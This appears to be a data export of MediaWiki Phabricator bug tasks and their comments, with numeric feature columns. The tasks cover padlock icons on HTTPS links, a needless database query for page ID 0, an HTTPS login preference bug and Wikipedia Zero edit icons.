MediaWiki shows padlock icons next to HTTPS links because a plone developer back in 2003 thought they were cute. Nowadays more and more websites are going HTTPS entirely, and this link decoration is unnecessary clutter. I discussed this here, to figure out  why this happens and how to switch them off on my own wikis:  https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Padlock_icons_on_HTTPS_links._Why%3F_and_how_to_switch_off%3F    ...but with this bug I humbly suggest that the default should maybe be changed.

Steps to Reproduce:
put a HTTPS URL on a wiki page e.g. https://twitter.com/harry_wood and preview/save the page to see how it renders

Actual Results:  
On the default mediawiki vector skin you get a small yellow padlock icon to the right of the link. This is quite visually cluttering, making for unnecessarily ugly wiki pages (and with no security advantage that I can see)

Expected Results:  
The normal 'external link' icon would be better. Or at least we could phase-out the padlock, moving to a more subtle blue padlock as used on wikimedia sites

Reproducible: Didn't try

--------------------------
**Version**: 1.23.0
**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Padlock_icons_on_HTTPS_links._Why%3F_and_how_to_switch_off%3F
**See Also**:
{T61893}
{T32682}",Medium,50.0,1392116100,1399935887.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-uahw7les3zv2e46j6w3b,task_description,resolved,True,c3,1,False,False,True,-73,True,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.333333333333333,1.0,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,6.0,8.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,2.6666666666666665,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,14.333333333333334,0.6666666666666666,1.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,4.333333333333333,2.0,11.333333333333334,1.6666666666666667,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.6666666666666666,0.0,3.0,8.0,3.0,0.0,1.0,0.0,3.0,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,3.8059071729957807,0.7679324894514767,"Intention:
MediaWiki shows padlock icons next to HTTPS links because a plone developer back in 2003 thought they were cute. Nowadays more and more websites are going HTTPS entirely, and this link decoration is unnecessary clutter. I discussed this here, to figure out  why this happens and how to switch them off on my own wikis:  URL    ...but with this bug I humbly suggest that the default should maybe be changed.

Steps to Reproduce:
put a HTTPS URL on a wiki page e.g. URL and preview/save the page to see how it renders

Actual Results:  
On the default mediawiki vector skin you get a small yellow padlock icon to the right of the link. This is quite visually cluttering, making for unnecessarily ugly wiki pages (and with no security advantage that I can see)

Expected Results:  
The normal 'external link' icon would be better. Or at least we could phase-out the padlock, moving to a more subtle blue padlock as used on wikimedia sites

Reproducible: Didn't try

--------------------------
**Version**: 1.23.0
**URL**: URL
**See Also**:
{T61893}
{T32682}"
287865,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:

Padlocks have now been removed from the English Wikipedia.",,,1411094255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8333333333333334,"**chealer** wrote:

Padlocks have now been removed from the English Wikipedia."
287860,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:

Thank you Bartosz. I have done just that: https://en.wikipedia.org/wiki/MediaWiki_talk:Vector.css#Padlock_for_secure_links

After looking at Vector.css, I think it is misleading to say that English Wikipedia editors have decided to add their own little padlocks. What they did is they *changed* their padlocks.",,,1410924377,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,18.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,9.0,9.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8214285714285716,0.6964285714285714,"**chealer** wrote:

Thank you Bartosz. I have done just that: URL

After looking at Vector.css, I think it is misleading to say that English Wikipedia editors have decided to add their own little padlocks. What they did is they *changed* their padlocks."
287854,Remove yellow padlock icons on HTTPS links,English Wikipedia editors have decided to add their own little padlocks. See the very bottom of https://en.wikipedia.org/wiki/MediaWiki:Vector.css . You could probably raise this issue on the discussion of that page.,,,1410915845,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,English Wikipedia editors have decided to add their own little padlocks. See the very bottom of URL . You could probably raise this issue on the discussion of that page.
287852,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:

This appears to be OK on mediawiki.org. However, I am still seeing these icons on en.wikipedia.org.

This discusses the problem: http://ux.stackexchange.com/questions/29004/why-does-mediawiki-put-little-padlocks-on-https-links",,,1410915672,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.8823529411764706,0.7647058823529411,"**chealer** wrote:

This appears to be OK on mediawiki.org. However, I am still seeing these icons on en.wikipedia.org.

This discusses the problem: URL"
287849,Remove yellow padlock icons on HTTPS links,"**swalling** wrote:

(In reply to Ash Crow from comment #4)
> If I read https://bugzilla.wikimedia.org/show_bug.cgi?id=54604 correctly,
> the padlocks were removed as part of the typography refresh. Shouldn't this
> bug be closed ?

Yes. Thank you!",,,1399935887,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,10.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7096774193548385,0.7419354838709677,"**swalling** wrote:

(In reply to Ash Crow from comment #4)
QUOTE
QUOTE
QUOTE

Yes. Thank you!"
287846,Remove yellow padlock icons on HTTPS links,"If I read https://bugzilla.wikimedia.org/show_bug.cgi?id=54604 correctly, the padlocks were removed as part of the typography refresh. Shouldn't this bug be closed ?",,,1399935789,,PHID-USER-fkqblvf7bebkvqbathnt,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9583333333333334,"If I read URL correctly, the padlocks were removed as part of the typography refresh. Shouldn't this bug be closed ?"
287841,Remove yellow padlock icons on HTTPS links,"There was a thread about ALL external link icons on design-l in October 2013, http://lists.wikimedia.org/pipermail/design/2013-October/001035.html

Old Notes on the ""blue padlock replacement"" are linked at the bottom of http://lists.wikimedia.org/pipermail/design/2013-October/001039.html

(I agree that replacing the yellow-padlock icon with either: the standard external-link icon, or the blue-padlock icon, would be good.)

There's a Semi-Related discussion at bug 54604 (""Ridiculous amount of CSS rules for external links"")",,,1392232560,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-73,True,1.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,14.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,12.0,5.0,0.0,4.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.7032967032967035,0.6593406593406593,"There was a thread about ALL external link icons on design-l in October 2013, URL

Old Notes on the ""blue padlock replacement"" are linked at the bottom of URL

(I agree that replacing the yellow-padlock icon with either: the standard external-link icon, or the blue-padlock icon, would be good.)

There's a Semi-Related discussion at bug 54604 (""Ridiculous amount of CSS rules for external links"")"
287836,Remove yellow padlock icons on HTTPS links,I assume this needs a broader discussion and/or consensus on Village Pumps and potentially mediawiki-l@ mailing list.,,,1392122713,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.05,1.0,I assume this needs a broader discussion and/or consensus on Village Pumps and potentially mediawiki-l@ mailing list.
287832,Remove yellow padlock icons on HTTPS links,To an inexperienced user the padlock appears to indicate sort of security risk.,,,1392119655,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.785714285714286,1.0,To an inexperienced user the padlock appears to indicate sort of security risk.
63166,WikiPage::newFromId( $id=0 ) needlessly queries the database,"WikiPage::newFromID( 0 ) actually queries the 'page' DB table to look up article ID 0. But MW code assumes that page_id == 0 means the page does not exist, e.g. Title sets mArticleId to 0 if article not found. So newFromID() could return null early if ( $id == 0 ).

One caller of this is ApiBase::getTitleOrPageId() , as a result API clients that pass pageid=0 hit the database, some even querying 'fromdbmaster'.  AFTv5 is one example (bug 61164).

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61164",Medium,50.0,1392097560,1392470522.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-xqvdyl6hat35a3awuwcf,task_description,resolved,True,c3,1,False,False,True,-73,True,1.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,1.5,2.5,0.0,0.0,0.0,0.5,0.0,4.5,4.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,1.0,0.5,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.5,1.5,10.0,1.5,0.5,4.0,0.0,0.0,0.0,0.0,2.5,0.0,5.5,0.0,0.0,4.5,5.0,0.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.482051282051282,0.6792540792540793,"WikiPage::newFromID( 0 ) actually queries the 'page' DB table to look up article ID 0. But MW code assumes that page_id == 0 means the page does not exist, e.g. Title sets mArticleId to 0 if article not found. So newFromID() could return null early if ( $id == 0 ).

One caller of this is ApiBase::getTitleOrPageId() , as a result API clients that pass pageid=0 hit the database, some even querying 'fromdbmaster'.  AFTv5 is one example (bug 61164).

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
URL"
287226,WikiPage::newFromId( $id=0 ) needlessly queries the database,Status Merged,,,1392470522,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-xqvdyl6hat35a3awuwcf,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Status Merged
287221,WikiPage::newFromId( $id=0 ) needlessly queries the database,"Change 112641 had a related patch set uploaded by Chad:
Return early when page id is less than 1

https://gerrit.wikimedia.org/r/112641",,,1392097995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xqvdyl6hat35a3awuwcf,task_subcomment,,True,c3,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,3.7916666666666665,1.0,"Change 112641 had a related patch set uploaded by Chad:
Return early when page id is less than 1

GERRIT_URL"
63048,Disabling https broken,"While testing another preferences patch, I found that stock mediawiki is no longer respecting the preference to disable https after login when wgSecureLogin is set.

* User is redirected to https when they click login, and the url parameter ""fromhttp=1"" is added.
* User logs in (doesn't seem to matter if remember me is selected or not)
* User is logged in, and cookies are set *for encrypted connections only*
* User does *not* get a forceHTTPS cookie
* User is redirected to the https version of the page where they clicked login

Obviously, if the user types in an http:// url, they are no longer logged into the site since the cookie are set for https calls only.

CentralAuth correctly handles the preference, so most users on WMF wikis are not affected. But we should get this fixed.

--------------------------
**Version**: 1.24rc
**Severity**: normal",Medium,50.0,1391799120,1493419076.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ayre3tom5ccnez4y7fxl,task_description,duplicate,True,c3,1,True,False,False,-73,True,0.0,0.0,0.0,5.0,2.0,2.0,0.5,0.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,1.5,0.5,8.0,10.0,0.0,1.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,14.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.5,1.5,0.0,0.0,5.5,5.5,7.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.0,10.0,5.0,0.0,1.0,0.0,3.0,0.0,1.5,1.0,0.5,1.0,1.0,0.5,0.0,3.9456521739130435,0.6739130434782609,"While testing another preferences patch, I found that stock mediawiki is no longer respecting the preference to disable https after login when wgSecureLogin is set.

* User is redirected to https when they click login, and the url parameter ""fromhttp=1"" is added.
* User logs in (doesn't seem to matter if remember me is selected or not)
* User is logged in, and cookies are set *for encrypted connections only*
* User does *not* get a forceHTTPS cookie
* User is redirected to the https version of the page where they clicked login

Obviously, if the user types in an http:// url, they are no longer logged into the site since the cookie are set for https calls only.

CentralAuth correctly handles the preference, so most users on WMF wikis are not affected. But we should get this fixed.

--------------------------
**Version**: 1.24rc
**Severity**: normal"
294768,Disabling https broken,"Change 134756 had a related patch set uploaded by CSteipp:
WIP: Respect wgForceHttps on login

https://gerrit.wikimedia.org/r/134756",,,1400713150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,False,,,-59,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.6,0.95,"Change 134756 had a related patch set uploaded by CSteipp:
WIP: Respect wgForceHttps on login

GERRIT_URL"
294763,Disabling https broken,"I'm still seeing it. Since it doesn't effect most WMF wikis, and I haven't heard of anyone else affected, normal priority is probably fine.",,,1400701471,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-59,True,0.0,3.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,0.0,16.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,6.0,6.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.7419354838709675,0.8387096774193549,"I'm still seeing it. Since it doesn't effect most WMF wikis, and I haven't heard of anyone else affected, normal priority is probably fine."
294759,Disabling https broken,"So does anybody knows if this is still a problem nowadays? 
And if this is still high priority?",,,1400684383,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-59,True,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,10.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.7619047619047619,"So does anybody knows if this is still a problem nowadays? 
And if this is still high priority?"
294754,Disabling https broken,Wondering if this creates bug 54350. Anybody planning to work on this?,,,1393239161,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-71,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.214285714285714,0.9285714285714286,Wondering if this creates bug 54350. Anybody planning to work on this?
294748,Disabling https broken,Related: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=595129084#Forced_.22https.22_on_wikis,,,1392208292,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Related: URL
62774,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Previously, the edit pencil didn't errantly show on Wikipedia Zero due to the current lack of HTTPS support. Now it is showing again.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1391451180,1467924656.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-oldng4ohn3llekyaofz6,task_description,declined,True,c3,1,True,True,False,-74,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.066666666666666,0.7555555555555555,"Previously, the edit pencil didn't errantly show on Wikipedia Zero due to the current lack of HTTPS support. Now it is showing again.

--------------------------
**Version**: unspecified
**Severity**: normal"
536391,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"With HTTPS support now the default, this task can probably be marked as invalid.",,,1443458314,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,1.0,"With HTTPS support now the default, this task can probably be marked as invalid."
